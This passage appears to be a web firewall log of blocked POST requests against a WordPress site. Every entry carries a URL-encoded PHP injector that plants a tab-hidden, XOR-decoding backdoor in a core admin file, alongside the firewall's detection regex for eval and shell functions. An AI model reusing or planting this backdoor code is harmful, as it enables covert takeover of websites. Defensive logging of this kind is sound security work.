<member><name>post_type<\/name><value><string>post<\/string><\/value><\/member>\r\n  <member><name>mt_keywords<\/name><value><string><\/string><\/value><\/member>\r\n  \r\n  <member><name>custom_fields<\/name><value><array><data>\r\n  <value><string><\/string><\/value>\r\n<\/data><\/array><\/value><\/member>\r\n<\/struct><\/value>\r\n  <value><boolean>1<\/boolean><\/value>\r\n<\/data><\/array><\/value><\/param>\r\n<\/params><\/methodCall>"]
["2026-05-12 23:53:44","91.142.222.105","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Ot:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/class-plugin-upgrader-skin.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_POST%2529%2520%2526%2526%2520isset%2528%2524_POST%255B%2522%255Cx66%255Cx6Cg%2522%255D%2529%2529%257B%2520%2524pointer%2520%253D%2520array_filter%2528%255Bgetcwd%2528%2529%252C%2520%2522\/tmp%2522%252C%2520%2522\/var\/tmp%2522%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/dev\/shm%2522%252C%2520session_save_path%2528%2529%255D%2529%253B%2520%2524data%2520%253D%2520hex2bin%2528%2524_POST%255B%2522%255Cx66%255Cx6Cg%2522%255D%2529%253B%2520%2524sym%2520%253D%2520%2527%2527%2520%253B%2520for%2528%2524f%253D0%253B%2520%2524f%253Cstrlen%2528%2524data%2529%253B%2520%2524f%252B%252B%2529%257B%2524sym%2520.%253D%2520chr%2528ord%2528%2524data%255B%2524f%255D%2529%2520%255E%252055%2529%253B%257D%2520%2524component%2520%253D%25200%253B%2520do%2520%257B%2520%2524elem%2520%253D%2520%2524pointer%255B%2524component%255D%2520%253F%253F%2520null%253B%2520if%2520%2528%2524component%2520%253E%253D%2520count%2528%2524pointer%2529%2529%2520break%253B%2520if%2520%2528is_dir%2528%2524elem%2529%2520%2526%2526%2520is_writable%2528%2524elem%2529%2529%2520%257B%2520%2524descriptor%2520%253D%2520implode%2528%2522\/%2522%252C%2520%255B%2524elem%252C%2520%2522.dchunk%2522%255D%2529%253B%2520if%2520%2528%2540file_put_contents%2528%2524descriptor%252C%2520%2524sym%2529%2520%2521%253D%253D%2520false%2529%2520%257B%2520include%2520%2524descriptor%253B%2520unlink%2528%2524descriptor%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520%2524component%252B%252B%253B%2520%257D%2520while%2520%2528true%2529%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-ch-ua:\"Chromium\";v=\"110\", \"Not A(Brand\";v=\"24\", \"Google Chrome\";v=\"110\"\nsec-ch-ua-mobile:?0\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvG3DvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaOip3DvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\ncontent-length:4152\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-user:?1\nsec-fetch-dest:document\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\nsec-fetch-mode:navigate\nsec-fetch-site:none\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-ch-ua-platform:\"Windows\"\n\nOt=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/class-plugin-upgrader-skin.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_POST%2529%2520%2526%2526%2520isset%2528%2524_POST%255B%2522%255Cx66%255Cx6Cg%2522%255D%2529%2529%257B%2520%2524pointer%2520%253D%2520array_filter%2528%255Bgetcwd%2528%2529%252C%2520%2522\/tmp%2522%252C%2520%2522\/var\/tmp%2522%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/dev\/shm%2522%252C%2520session_save_path%2528%2529%255D%2529%253B%2520%2524data%2520%253D%2520hex2bin%2528%2524_POST%255B%2522%255Cx66%255Cx6Cg%2522%255D%2529%253B%2520%2524sym%2520%253D%2520%2527%2527%2520%253B%2520for%2528%2524f%253D0%253B%2520%2524f%253Cstrlen%2528%2524data%2529%253B%2520%2524f%252B%252B%2529%257B%2524sym%2520.%253D%2520chr%2528ord%2528%2524data%255B%2524f%255D%2529%2520%255E%252055%2529%253B%257D%2520%2524component%2520%253D%25200%253B%2520do%2520%257B%2520%2524elem%2520%253D%2520%2524pointer%255B%2524component%255D%2520%253F%253F%2520null%253B%2520if%2520%2528%2524component%2520%253E%253D%2520count%2528%2524pointer%2529%2529%2520break%253B%2520if%2520%2528is_dir%2528%2524elem%2529%2520%2526%2526%2520is_writable%2528%2524elem%2529%2529%2520%257B%2520%2524descriptor%2520%253D%2520implode%2528%2522\/%2522%252C%2520%255B%2524elem%252C%2520%2522.dchunk%2522%255D%2529%253B%2520if%2520%2528%2540file_put_contents%2528%2524descriptor%252C%2520%2524sym%2529%2520%2521%253D%253D%2520false%2529%2520%257B%2520include%2520%2524descriptor%253B%2520unlink%2528%2524descriptor%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520%2524component%252B%252B%253B%2520%257D%2520while%2520%2528true%2529%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 23:53:54","185.176.9.68","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> dS:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/class-plugin-upgrader-skin.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_POST%2529%2520%2526%2526%2520isset%2528%2524_POST%255B%2522%255Cx66%255Cx6Cg%2522%255D%2529%2529%257B%2520%2524pointer%2520%253D%2520array_filter%2528%255Bgetcwd%2528%2529%252C%2520%2522\/tmp%2522%252C%2520%2522\/var\/tmp%2522%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/dev\/shm%2522%252C%2520session_save_path%2528%2529%255D%2529%253B%2520%2524data%2520%253D%2520hex2bin%2528%2524_POST%255B%2522%255Cx66%255Cx6Cg%2522%255D%2529%253B%2520%2524sym%2520%253D%2520%2527%2527%2520%253B%2520for%2528%2524f%253D0%253B%2520%2524f%253Cstrlen%2528%2524data%2529%253B%2520%2524f%252B%252B%2529%257B%2524sym%2520.%253D%2520chr%2528ord%2528%2524data%255B%2524f%255D%2529%2520%255E%252055%2529%253B%257D%2520%2524component%2520%253D%25200%253B%2520do%2520%257B%2520%2524elem%2520%253D%2520%2524pointer%255B%2524component%255D%2520%253F%253F%2520null%253B%2520if%2520%2528%2524component%2520%253E%253D%2520count%2528%2524pointer%2529%2529%2520break%253B%2520if%2520%2528is_dir%2528%2524elem%2529%2520%2526%2526%2520is_writable%2528%2524elem%2529%2529%2520%257B%2520%2524descriptor%2520%253D%2520implode%2528%2522\/%2522%252C%2520%255B%2524elem%252C%2520%2522.dchunk%2522%255D%2529%253B%2520if%2520%2528%2540file_put_contents%2528%2524descriptor%252C%2520%2524sym%2529%2520%2521%253D%253D%2520false%2529%2520%257B%2520include%2520%2524descriptor%253B%2520unlink%2528%2524descriptor%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520%2524component%252B%252B%253B%2520%257D%2520while%2520%2528true%2529%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/site-health.php HTTP\/1.1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"100\", \"Google Chrome\";v=\"100\"\nsec-ch-ua-mobile:?0\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvMSZvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAlMJS0MJDvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\ncontent-length:4152\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-user:?1\nsec-fetch-dest:document\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36\nsec-fetch-mode:navigate\nsec-fetch-site:none\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-ch-ua-platform:\"Windows\"\n\ndS=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/class-plugin-upgrader-skin.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_POST%2529%2520%2526%2526%2520isset%2528%2524_POST%255B%2522%255Cx66%255Cx6Cg%2522%255D%2529%2529%257B%2520%2524pointer%2520%253D%2520array_filter%2528%255Bgetcwd%2528%2529%252C%2520%2522\/tmp%2522%252C%2520%2522\/var\/tmp%2522%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/dev\/shm%2522%252C%2520session_save_path%2528%2529%255D%2529%253B%2520%2524data%2520%253D%2520hex2bin%2528%2524_POST%255B%2522%255Cx66%255Cx6Cg%2522%255D%2529%253B%2520%2524sym%2520%253D%2520%2527%2527%2520%253B%2520for%2528%2524f%253D0%253B%2520%2524f%253Cstrlen%2528%2524data%2529%253B%2520%2524f%252B%252B%2529%257B%2524sym%2520.%253D%2520chr%2528ord%2528%2524data%255B%2524f%255D%2529%2520%255E%252055%2529%253B%257D%2520%2524component%2520%253D%25200%253B%2520do%2520%257B%2520%2524elem%2520%253D%2520%2524pointer%255B%2524component%255D%2520%253F%253F%2520null%253B%2520if%2520%2528%2524component%2520%253E%253D%2520count%2528%2524pointer%2529%2529%2520break%253B%2520if%2520%2528is_dir%2528%2524elem%2529%2520%2526%2526%2520is_writable%2528%2524elem%2529%2529%2520%257B%2520%2524descriptor%2520%253D%2520implode%2528%2522\/%2522%252C%2520%255B%2524elem%252C%2520%2522.dchunk%2522%255D%2529%253B%2520if%2520%2528%2540file_put_contents%2528%2524descriptor%252C%2520%2524sym%2529%2520%2521%253D%253D%2520false%2529%2520%257B%2520include%2520%2524descriptor%253B%2520unlink%2528%2524descriptor%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520%2524component%252B%252B%253B%2520%257D%2520while%2520%2528true%2529%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 23:53:58","103.93.94.155","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/119.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> ei:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/class-plugin-upgrader-skin.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_POST%2529%2520%2526%2526%2520isset%2528%2524_POST%255B%2522%255Cx66%255Cx6Cg%2522%255D%2529%2529%257B%2520%2524pointer%2520%253D%2520array_filter%2528%255Bgetcwd%2528%2529%252C%2520%2522\/tmp%2522%252C%2520%2522\/var\/tmp%2522%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/dev\/shm%2522%252C%2520session_save_path%2528%2529%255D%2529%253B%2520%2524data%2520%253D%2520hex2bin%2528%2524_POST%255B%2522%255Cx66%255Cx6Cg%2522%255D%2529%253B%2520%2524sym%2520%253D%2520%2527%2527%2520%253B%2520for%2528%2524f%253D0%253B%2520%2524f%253Cstrlen%2528%2524data%2529%253B%2520%2524f%252B%252B%2529%257B%2524sym%2520.%253D%2520chr%2528ord%2528%2524data%255B%2524f%255D%2529%2520%255E%252055%2529%253B%257D%2520%2524component%2520%253D%25200%253B%2520do%2520%257B%2520%2524elem%2520%253D%2520%2524pointer%255B%2524component%255D%2520%253F%253F%2520null%253B%2520if%2520%2528%2524component%2520%253E%253D%2520count%2528%2524pointer%2529%2529%2520break%253B%2520if%2520%2528is_dir%2528%2524elem%2529%2520%2526%2526%2520is_writable%2528%2524elem%2529%2529%2520%257B%2520%2524descriptor%2520%253D%2520implode%2528%2522\/%2522%252C%2520%255B%2524elem%252C%2520%2522.dchunk%2522%255D%2529%253B%2520if%2520%2528%2540file_put_contents%2528%2524descriptor%252C%2520%2524sym%2529%2520%2521%253D%253D%2520false%2529%2520%257B%2520include%2520%2524descriptor%253B%2520unlink%2528%2524descriptor%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520%2524component%252B%252B%253B%2520%257D%2520while%2520%2528true%2529%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\nsec-ch-ua:\"Google Chrome\";v=\"119\", \"Chromium\";v=\"119\", \"Not?A_Brand\";v=\"24\"\nsec-ch-ua-mobile:?0\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvMJxvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAfLKAmMKZvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\ncontent-length:4152\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-user:?1\nsec-fetch-dest:document\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/119.0.0.0 Safari\/537.36\nsec-fetch-mode:navigate\nsec-fetch-site:none\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-ch-ua-platform:\"macOS\"\n\nei=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/class-plugin-upgrader-skin.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_POST%2529%2520%2526%2526%2520isset%2528%2524_POST%255B%2522%255Cx66%255Cx6Cg%2522%255D%2529%2529%257B%2520%2524pointer%2520%253D%2520array_filter%2528%255Bgetcwd%2528%2529%252C%2520%2522\/tmp%2522%252C%2520%2522\/var\/tmp%2522%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/dev\/shm%2522%252C%2520session_save_path%2528%2529%255D%2529%253B%2520%2524data%2520%253D%2520hex2bin%2528%2524_POST%255B%2522%255Cx66%255Cx6Cg%2522%255D%2529%253B%2520%2524sym%2520%253D%2520%2527%2527%2520%253B%2520for%2528%2524f%253D0%253B%2520%2524f%253Cstrlen%2528%2524data%2529%253B%2520%2524f%252B%252B%2529%257B%2524sym%2520.%253D%2520chr%2528ord%2528%2524data%255B%2524f%255D%2529%2520%255E%252055%2529%253B%257D%2520%2524component%2520%253D%25200%253B%2520do%2520%257B%2520%2524elem%2520%253D%2520%2524pointer%255B%2524component%255D%2520%253F%253F%2520null%253B%2520if%2520%2528%2524component%2520%253E%253D%2520count%2528%2524pointer%2529%2529%2520break%253B%2520if%2520%2528is_dir%2528%2524elem%2529%2520%2526%2526%2520is_writable%2528%2524elem%2529%2529%2520%257B%2520%2524descriptor%2520%253D%2520implode%2528%2522\/%2522%252C%2520%255B%2524elem%252C%2520%2522.dchunk%2522%255D%2529%253B%2520if%2520%2528%2540file_put_contents%2528%2524descriptor%252C%2520%2524sym%2529%2520%2521%253D%253D%2520false%2529%2520%257B%2520include%2520%2524descriptor%253B%2520unlink%2528%2524descriptor%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520%2524component%252B%252B%253B%2520%257D%2520while%2520%2528true%2529%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 23:54:03","173.212.252.15","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/class-plugin-upgrader-skin.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_POST%2529%2520%2526%2526%2520isset%2528%2524_POST%255B%2522%255Cx66%255Cx6Cg%2522%255D%2529%2529%257B%2520%2524pointer%2520%253D%2520array_filter%2528%255Bgetcwd%2528%2529%252C%2520%2522\/tmp%2522%252C%2520%2522\/var\/tmp%2522%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/dev\/shm%2522%252C%2520session_save_path%2528%2529%255D%2529%253B%2520%2524data%2520%253D%2520hex2bin%2528%2524_POST%255B%2522%255Cx66%255Cx6Cg%2522%255D%2529%253B%2520%2524sym%2520%253D%2520%2527%